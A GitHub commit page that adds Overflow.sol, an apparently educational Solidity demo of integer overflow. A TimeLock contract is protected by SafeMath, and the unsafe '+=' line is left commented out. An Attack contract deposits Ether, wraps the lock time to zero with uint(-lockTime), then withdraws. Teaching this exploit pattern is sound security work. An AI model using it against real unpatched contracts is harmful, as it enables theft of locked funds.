Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
  • Loading branch information
lenoteddy committed Aug 3, 2024
1 parent e13593c commit f2e9a12
Showing 1 changed file with 61 additions and 0 deletions.
61 changes: 61 additions & 0 deletions Overflow.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;

/*
Overflow / Underflow
Code & Demo
Preventative techniques
*/

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/math/SafeMath.sol";

contract TimeLock {
using SafeMath for uint;

mapping(address => uint) public balances;
mapping(address => uint) public lockTime;

function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = now + 1 weeks;
}

function increaseLockTime(uint _secondsToIncrease) public {
// lockTime[msg.sender] += _secondsToIncrease;
lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
}

function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(now > lockTime[msg.sender], "Lock time not expired");

uint amount = balances[msg.sender];
balances[msg.sender] = 0;

(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}

contract Attack {
TimeLock timeLock;

constructor(TimeLock _timeLock) public {
timeLock = TimeLock(_timeLock);
}

fallback() external payable { }

function attack() public payable {
timeLock.deposit{value: msg.value}();
// t == current lock time
// find x such that
// x + t = 2**256 = 0
// x = -t
timeLock.increaseLockTime(
// 2**256 - t
uint(-timeLock.lockTime(address(this)))
);
timeLock.withdraw();
}
}

0 comments on commit f2e9a12

Please sign in to comment.